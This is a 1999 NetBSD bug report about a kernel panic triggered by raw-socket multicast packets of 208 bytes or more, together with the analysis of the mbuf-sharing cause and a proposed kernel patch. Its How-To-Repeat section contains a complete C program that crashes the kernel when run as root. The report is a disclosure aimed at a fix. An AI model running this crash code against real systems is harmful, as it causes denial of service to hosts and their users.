Subject: kern/9020: Kernel panic with raw multicast packets bigger than 208 bytes
To: None <gnats-bugs@gnats.netbsd.org>
From: None <pavlin@catarina.usc.edu>
List: netbsd-bugs
Date: 12/18/1999 01:33:44
>Number:         9020
>Category:       kern
>Synopsis:       Kernel panic with raw multicast packets bigger than 208 bytes
>Confidential:   no
>Severity:       critical
>Priority:       high
>Responsible:    kern-bug-people (Kernel Bug People)
>State:          open
>Class:          support
>Submitter-Id:   net
>Arrival-Date:   Sat Dec 18 01:33:00 1999
>Last-Modified:
>Originator:     Pavlin Radoslavov
>Organization:
University of Southern California
>Release:        NetBSD-1.4.1 and NetBSD-current
>Environment:

>Description:
First I want to clarify that that I have not verified this
bug on NetBSD, but this is a bug seem to be common for all
*BSD systems. The bug was found on and fixed in FreeBSD more
than 2 years ago (fixed around FreeBSD-2.2.2?).
Below is part of the original report.

If a process wants to prepare itself the IP header and then send the packet
using a raw socket, under certain conditions the kernel will panic:

1. The destination is a multicast address
2. The host is a member of the same multicast group  
3. The packet to send is at least 208 bytes
4. The host is little endian

If the packet is at least 208 bytes, an external mbuf cluster is used to
store it (including the IP header) when it is passed to rip_output() and
then to ip_output(). If the host is a member of the same multicast group,
ip_mloopback() is called to send a copy of the packet to the same host.
ip_mloopback uses m_copy() to create a copy of the packet and then uses
htons() over some fields in the header to make them network-ordered.
However, because m_copy() does not really copy the external clusters, but 
make them shared, the modification by ip_mloopback affects also the original
packet. The size of the original packet is corrupted and after ip_output()
tries to break the packet into several smaller, the difference between
the size based on the IP header and the mbuf header results in panic.   



>How-To-Repeat:
Compile and execute the following code as a root:

/*
 * BSD kernel bug demonstration program. KERNEL PANIC!!!!
 * Verified only for FreeBSD. 
 */
#include <stdio.h>
#include <sys/types.h>
#include <netinet/in_systm.h>  
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>

void main()
{
        int sock, msock;
        int off;
        int b = 1;
        struct ip *ip;
        char buffer[300];
        struct sockaddr_in sockdst;
        struct ip_mreq imr;
        
        sock = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
        if (sock < 0){
                printf("Raw socket open error\n");
                exit(1);
        }

        msock = socket(AF_INET, SOCK_DGRAM, 0);
        if (msock < 0){
                printf("Multicast socket open error\n");
                exit(1);
        }
        imr.imr_multiaddr.s_addr = inet_addr("224.0.1.20");
        imr.imr_interface.s_addr = htonl(inet_addr("0.0.0.0"));
        if(setsockopt(msock, IPPROTO_IP, IP_ADD_MEMBERSHIP, &imr,
            sizeof(struct ip_mreq)) < 0){
                printf("Error join multicast group\n");
                exit(1);
        }       

        if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&b, sizeof(b)) < 0){
                printf("setsockopt HDRINCL error\n");
                exit(1);
        }

        ip = (struct ip *)buffer;
        ip->ip_hl = sizeof(struct ip) >>2;
        ip->ip_v = IPVERSION;
        ip->ip_tos = 0;
        ip->ip_off = 0;
        ip->ip_src.s_addr = inet_addr("0.0.0.0");
        ip->ip_dst.s_addr = inet_addr("224.0.1.20");
        ip->ip_p = IPPROTO_UDP;
        ip->ip_len = 240;
        ip->ip_ttl = 2;
        bzero(&sockdst, sizeof(sockdst));
        sockdst.sin_family = AF_INET;
        sockdst.sin_addr.s_addr = ip->ip_dst.s_addr;    
        if (sendto(sock, buffer, ip->ip_len, 0, (struct sockaddr *)&sockdst,
            sizeof(sockdst)) < 0){
                printf("sendto error\n");
                exit(1);
        }
        printf("Packet send successfully\n");
        exit(0);
}


>Fix:
Apply the following patch to netinet/ip_output.c (this particular
soultion is courtesy Bill Fenner). Note that I have not verified
whether it works.


--- ip_output.c.org     Sat Dec 18 01:07:09 1999
+++ ip_output.c Sat Dec 18 01:14:26 1999
@@ -1486,6 +1486,8 @@
        struct mbuf *copym;
 
        copym = m_copy(m, 0, M_COPYALL);
+        if (copym != NULL && (copym->m_flags & M_EXT || copym->m_len < (ip->ip_hl << 2)))
+               copym = m_pullup(copym, ip->ip_hl << 2);
        if (copym != NULL) {
                /*
                 * We don't bother to fragment if the IP length is greater

>Audit-Trail:
>Unformatted: